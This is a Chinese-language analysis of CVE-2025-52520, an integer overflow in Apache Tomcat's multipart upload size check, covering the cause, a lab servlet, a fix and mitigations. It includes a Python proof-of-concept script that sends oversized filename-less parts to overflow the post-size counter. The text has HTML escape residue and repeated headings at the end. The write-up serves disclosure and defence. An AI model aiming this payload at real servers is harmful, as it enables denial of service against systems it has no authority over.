CVE-2025-52520: Apache Tomcat 多部分文件上传整数溢出拒绝服务漏洞分析<\/h1>

1. 漏洞概述<\/h2>
CVE编号<\/strong>：CVE-2025-52520
漏洞类型<\/strong>：整数溢出导致的拒绝服务(DoS)
影响版本<\/strong>：Apache Tomcat 9.0.0.M1 到 9.0.106
漏洞等级<\/strong>：低危
公开时间<\/strong>：2025年7月10日
修复提交<\/strong>：927d66fb<\/p>

2. 漏洞原理分析<\/h2>
2.1 根本原因<\/h3>
该漏洞存在于Tomcat处理multipart\/form-data请求时的文件上传限制检查机制中。具体位置在org.apache.catalina.connector.Request#parseParts<\/code>方法。<\/p>
2.2 漏洞代码分析<\/h3> parts =<\/span> new<\/span> ArrayList<>();<\/span> <\/span><\/span>try<\/span> {<\/span> <\/span><\/span> List<<\/span>FileItem><\/span> items =<\/span> upload.<\/span>parseRequest<\/span>(<\/span>new<\/span> ServletRequestContext(<\/span>this<\/span>));<\/span> <\/span><\/span> int<\/span> maxPostSize =<\/span> getConnector().<\/span>getMaxPostSize<\/span>();<\/span> <\/span><\/span> int<\/span> postSize =<\/span> 0<\/span>;<\/span> <\/span><\/span> Charset charset =<\/span> getCharset();<\/span> <\/span><\/span> for<\/span> (<\/span>FileItem item :<\/span> items)<\/span> {<\/span> <\/span><\/span> ApplicationPart part =<\/span> new<\/span> ApplicationPart(<\/span>item,<\/span> location);<\/span> <\/span><\/span> parts.<\/span>add<\/span>(<\/span>part);<\/span> <\/span><\/span> if<\/span> (<\/span>part.<\/span>getSubmittedFileName<\/span>()<\/span> ==<\/span> null<\/span>)<\/span> {<\/span> <\/span><\/span> String name =<\/span> part.<\/span>getName<\/span>();<\/span> <\/span><\/span> if<\/span> (<\/span>maxPostSize >=<\/span> 0<\/span>)<\/span> {<\/span> <\/span><\/span> \/\/ 计算等效大小 <\/span><\/span><\/span><\/span> postSize +=<\/span> name.<\/span>getBytes<\/span>(<\/span>charset).<\/span>length<\/span>;<\/span> \/\/ 参数名长度 <\/span><\/span><\/span><\/span> postSize++;<\/span> \/\/ 等号 <\/span><\/span><\/span><\/span> postSize +=<\/span> part.<\/span>getSize<\/span>();<\/span> \/\/ 参数值长度 <\/span><\/span><\/span><\/span> postSize++;<\/span> \/\/ 值分隔符 <\/span><\/span><\/span><\/span> <\/span><\/span> if<\/span> (<\/span>postSize ><\/span> maxPostSize)<\/span> {<\/span> <\/span><\/span> parameters.<\/span>setParseFailedReason<\/span>(<\/span>FailReason.<\/span>POST_TOO_LARGE<\/span>);<\/span> <\/span><\/span> throw<\/span> new<\/span> IllegalStateException(<\/span>sm.<\/span>getString<\/span>(<\/span>"coyoteRequest.maxPostSizeExceeded"<\/span>));<\/span> <\/span><\/span> }<\/span> <\/span><\/span> }<\/span> <\/span><\/span> String value =<\/span> null<\/span>;<\/span> <\/span><\/span><\/code><\/pre>2.3 整数溢出机制<\/h3> postSize<\/code>变量为int类型（32位有符号整数）<\/li> 攻击者可以构造特定的multipart请求，使postSize<\/code>累计值超过Integer.MAX_VALUE<\/code>(2147483647)<\/li> 当超过最大值时发生整数溢出，postSize<\/code>变为负值<\/li> 负值的postSize<\/code>与maxPostSize<\/code>比较时，条件postSize > maxPostSize<\/code>为false<\/li> 从而绕过文件大小限制检查，允许上传超大文件<\/li> <\/ol> 3. 触发条件<\/h2> 3.1 必要条件<\/h3> 必须启用multipart文件上传功能<\/li> 必须设置maxPostSize<\/code>为正数值（默认2MB）<\/li> 请求中的part必须满足：part.getSubmittedFileName() == null<\/code><\/li> <\/ol> 3.2 触发场景<\/h3> part文件名为null的条件<\/strong>：<\/p> 请求的Content-Disposition头中不包含filename字段<\/li> 或者Content-Disposition头格式不符合标准<\/li> <\/ul> 4. 漏洞复现<\/h2> 4.1 环境搭建<\/h3> 受影响版本<\/strong>：Apache Tomcat 9.0.98 所需组件<\/strong>：<\/p> 文件上传Servlet<\/li> 前端上传页面<\/li> <\/ol> 文件上传Servlet示例<\/h4> package<\/span> com.example;<\/span> <\/span><\/span> <\/span><\/span>import<\/span> javax.servlet.ServletException;<\/span> <\/span><\/span>import<\/span> javax.servlet.annotation.MultipartConfig;<\/span> <\/span><\/span>import<\/span> javax.servlet.annotation.WebServlet;<\/span> <\/span><\/span>import<\/span> javax.servlet.http.*;<\/span> <\/span><\/span>import<\/span> java.io.*;<\/span> <\/span><\/span> <\/span><\/span>@WebServlet<\/span>(<\/span>"\/FileUploadServlet"<\/span>)<\/span> <\/span><\/span>@MultipartConfig<\/span>()<\/span> <\/span><\/span>public<\/span> class<\/span> FileUploadServlet<\/span> extends<\/span> HttpServlet {<\/span> <\/span><\/span> private<\/span> String extractFileName<\/span>(<\/span>Part part)<\/span> {<\/span> <\/span><\/span> return<\/span> "test"<\/span>;<\/span> <\/span><\/span> }<\/span> <\/span><\/span> <\/span><\/span> @Override<\/span> <\/span><\/span> protected<\/span> void<\/span> doPost<\/span>(<\/span>HttpServletRequest req,<\/span> HttpServletResponse resp)<\/span> <\/span><\/span> throws<\/span> IOException {<\/span> <\/span><\/span> String saveDir =<\/span> req.<\/span>getServletContext<\/span>().<\/span>getRealPath<\/span>(<\/span>""<\/span>)<\/span> +<\/span> File.<\/span>separator<\/span> +<\/span> "upload"<\/span>;<\/span> <\/span><\/span> File dir =<\/span> new<\/span> File(<\/span>saveDir);<\/span> <\/span><\/span> if<\/span> (!<\/span>dir.<\/span>exists<\/span>())<\/span> dir.<\/span>mkdir<\/span>();<\/span> <\/span><\/span> <\/span><\/span> try<\/span> {<\/span> <\/span><\/span> for<\/span> (<\/span>Part part :<\/span> req.<\/span>getParts<\/span>())<\/span> {<\/span> <\/span><\/span> String fileName =<\/span> extractFileName(<\/span>part);<\/span> <\/span><\/span> if<\/span> (<\/span>fileName !=<\/span> null<\/span> &&<\/span> !<\/span>fileName.<\/span>isEmpty<\/span>())<\/span> {<\/span> <\/span><\/span> part.<\/span>write<\/span>(<\/span>saveDir +<\/span> File.<\/span>separator<\/span> +<\/span> fileName);<\/span> <\/span><\/span> }<\/span> <\/span><\/span> }<\/span> <\/span><\/span> }<\/span> catch<\/span> (<\/span>ServletException e)<\/span> {<\/span> <\/span><\/span> e.<\/span>printStackTrace<\/span>();<\/span> <\/span><\/span> }<\/span> <\/span><\/span> <\/span><\/span> resp.<\/span>setContentType<\/span>(<\/span>"text\/html;charset=UTF-8"<\/span>);<\/span> <\/span><\/span> resp.<\/span>getWriter<\/span>().<\/span>write<\/span>(<\/span>"<h3>上传成功！文件保存在 'upload' 文件夹<\/h3>"<\/span>);<\/span> <\/span><\/span> }<\/span> <\/span><\/span>}<\/span> <\/span><\/span><\/code><\/pre>前端页面(index.html)<\/h4> <!DOCTYPE html><\/span> <\/span><\/span><html<\/span>> <\/span><\/span> <meta<\/span> http-equiv<\/span>=<\/span>"Content-Type"<\/span> content<\/span>=<\/span>"text\/html; charset=UTF-8"<\/span>\/> <\/span><\/span> <body<\/span>> <\/span><\/span> <h2<\/span>>上传文件<\/h2<\/span>> <\/span><\/span> <form<\/span> action<\/span>=<\/span>"FileUploadServlet"<\/span> method<\/span>=<\/span>"post"<\/span> enctype<\/span>=<\/span>"multipart\/form-data"<\/span>> <\/span><\/span> <input<\/span> type<\/span>=<\/span>"file"<\/span> name<\/span>=<\/span>"file"<\/span> \/><br<\/span>><br<\/span>> <\/span><\/span> <input<\/span> type<\/span>=<\/span>"submit"<\/span> value<\/span>=<\/span>"上传"<\/span> \/> <\/span><\/span> <\/form<\/span>> <\/span><\/span> <\/body<\/span>> <\/span><\/span><\/html<\/span>> <\/span><\/span><\/code><\/pre>4.2 攻击构造<\/h3> 关键步骤<\/h4> 修改Content-Disposition头<\/strong>：移除filename字段，使getSubmittedFileName()<\/code>返回null<\/li> 构造两个multipart部分<\/strong>：第一部分：大小略小于maxPostSize（如2097140字节）<\/li> 第二部分：大小为2147483647 - 2097140 = 2145386507<\/code>字节<\/li> <\/ul> <\/li> <\/ol> Python利用脚本<\/h4> import<\/span> requests <\/span><\/span>import<\/span> os <\/span><\/span> <\/span><\/span>url =<\/span> "http:\/\/localhost:8084\/tomcat9\/FileUploadServlet"<\/span> <\/span><\/span> <\/span><\/span># 构造恶意multipart请求<\/span> <\/span><\/span>def<\/span> create_malicious_request<\/span>(): <\/span><\/span> boundary =<\/span> "----WebKitFormBoundary7MA4YWxkTrZu0gW"<\/span> <\/span><\/span> <\/span><\/span> # 第一部分：接近maxPostSize的文件<\/span> <\/span><\/span> part1 =<\/span> f<\/span>""" <\/span><\/span><\/span>--<\/span>{<\/span>boundary}<\/span> <\/span><\/span><\/span>Content-Disposition: form-data; name="file1" <\/span><\/span><\/span> <\/span><\/span><\/span><\/span>{<\/span>"A"<\/span> *<\/span> 2097140<\/span>}<\/span> <\/span><\/span><\/span>"""<\/span> <\/span><\/span> <\/span><\/span> # 第二部分：超大文件部分，触发整数溢出<\/span> <\/span><\/span> part2 =<\/span> f<\/span>""" <\/span><\/span><\/span>--<\/span>{<\/span>boundary}<\/span> <\/span><\/span><\/span>Content-Disposition: form-data; name="file2" <\/span><\/span><\/span> <\/span><\/span><\/span><\/span>{<\/span>"B"<\/span> *<\/span> 2145386507<\/span>}<\/span> <\/span><\/span><\/span>"""<\/span> <\/span><\/span> <\/span><\/span> end_boundary =<\/span> f<\/span>"--<\/span>{<\/span>boundary}<\/span>--"<\/span> <\/span><\/span> <\/span><\/span> body =<\/span> part1 +<\/span> part2 +<\/span> end_boundary <\/span><\/span> <\/span><\/span> headers =<\/span> { <\/span><\/span> "Content-Type"<\/span>: f<\/span>"multipart\/form-data; boundary=<\/span>{<\/span>boundary}<\/span>"<\/span>, <\/span><\/span> "Content-Length"<\/span>: str(len(body)) <\/span><\/span> } <\/span><\/span> <\/span><\/span> return<\/span> headers, body <\/span><\/span> <\/span><\/span>headers, data =<\/span> create_malicious_request() <\/span><\/span>response =<\/span> requests.<\/span>post(url, headers=<\/span>headers, data=<\/span>data) <\/span><\/span>print(response.<\/span>status_code) <\/span><\/span><\/code><\/pre>4.3 调试分析<\/h3> 设置断点<\/strong>：在org.apache.catalina.connector.Request#parseParts<\/code>方法的关键位置<\/li> 观察变量<\/strong>： maxPostSize<\/code>：默认2097152（2MB）<\/li> postSize<\/code>：从0开始累计，最终溢出为负值<\/li> <\/ul> <\/li> 验证绕过<\/strong>：观察postSize > maxPostSize<\/code>比较结果为false<\/li> <\/ol> 5. 漏洞影响<\/h2> 5.1 直接影响<\/h3> 拒绝服务<\/strong>：通过上传超大文件消耗服务器资源<\/li> 磁盘空间耗尽<\/strong>：大量文件上传占满磁盘空间<\/li> 内存溢出<\/strong>：处理超大文件时可能导致内存溢出<\/li> <\/ol> 5.2 实际利用限制<\/h3> 需要特定配置：multipart功能启用且maxPostSize设置<\/li> 需要构造特殊的请求格式<\/li> 漏洞评级为低危，实际影响相对有限<\/li> <\/ol> 6. 修复方案<\/h2> 6.1 官方修复<\/h3> 修复提交927d66fb主要修改：<\/p> 使用long类型替代int类型存储postSize<\/li> 添加溢出检查机制<\/li> 增强数值范围验证<\/li> <\/ul> 6.2 升级建议<\/h3> 升级到Tomcat 9.0.107或更高版本<\/li> 如无法立即升级，可实施以下缓解措施<\/li> <\/ol> 6.3 缓解措施<\/h3> 限制请求大小<\/strong>：在反向代理层设置请求大小限制<\/li> 监控异常请求<\/strong>：检测异常的multipart请求模式<\/li> 资源限制<\/strong>：设置适当的磁盘和内存使用限制<\/li> <\/ol> 7. 技术总结<\/h2> 7.1 漏洞特点<\/h3> 整数溢出利用<\/strong>：典型的整数溢出安全漏洞<\/li> 条件较为苛刻<\/strong>：需要特定配置和请求构造<\/li> 绕过机制巧妙<\/strong>：利用整数溢出后的负值绕过安全检查<\/li> <\/ol> 7.2 挖掘启示<\/h3> 关注数值计算<\/strong>：安全审计中应重点关注数值计算和类型转换<\/li> 边界条件测试<\/strong>：加强对数值边界条件的测试<\/li> 类型选择谨慎<\/strong>：在可能涉及大数值计算的场景中使用long类型<\/li> <\/ol> 7.3 防护建议<\/h3> 防御性编程<\/strong>：对可能溢出的计算添加检查机制<\/li> 输入验证<\/strong>：严格验证用户输入的数值参数<\/li> 资源管理<\/strong>：实施严格的资源使用限制和监控<\/li> <\/ol> 8. 参考资源<\/h2> Apache Tomcat官方安全公告<\/li> CVE-2025-52520详细描述<\/li> 修复提交927d66fb代码对比<\/li> 漏洞发现者分析报告<\/li> <\/ol> 注<\/strong>：本文仅用于安全研究和教育目的，请勿用于非法用途。在实际环境中测试漏洞时，务必获得相关系统的授权。<\/p>

CVE-2025-52520: Apache Tomcat 多部分文件上传整数溢出拒绝服务漏洞分析<\/h1>

1. 漏洞概述<\/h2> CVE编号<\/strong>：CVE-2025-52520 漏洞类型<\/strong>：整数溢出导致的拒绝服务(DoS) 影响版本<\/strong>：Apache Tomcat 9.0.0.M1 到 9.0.106 漏洞等级<\/strong>：低危 公开时间<\/strong>：2025年7月10日 修复提交<\/strong>：927d66fb<\/p>

2.1 根本原因<\/h3> 该漏洞存在于Tomcat处理multipart\/form-data请求时的文件上传限制检查机制中。具体位置在org.apache.catalina.connector.Request#parseParts<\/code>方法。<\/p>

3. 触发条件<\/h2>

4. 漏洞复现<\/h2>

4.2 攻击构造<\/h3>

5. 漏洞影响<\/h2>

6. 修复方案<\/h2>

7. 技术总结<\/h2>

1. 漏洞概述<\/h2>
CVE编号<\/strong>：CVE-2025-52520
漏洞类型<\/strong>：整数溢出导致的拒绝服务(DoS)
影响版本<\/strong>：Apache Tomcat 9.0.0.M1 到 9.0.106
漏洞等级<\/strong>：低危
公开时间<\/strong>：2025年7月10日
修复提交<\/strong>：927d66fb<\/p>

2.1 根本原因<\/h3>
该漏洞存在于Tomcat处理multipart\/form-data请求时的文件上传限制检查机制中。具体位置在`org.apache.catalina.connector.Request#parseParts<\/code>方法。<\/p>`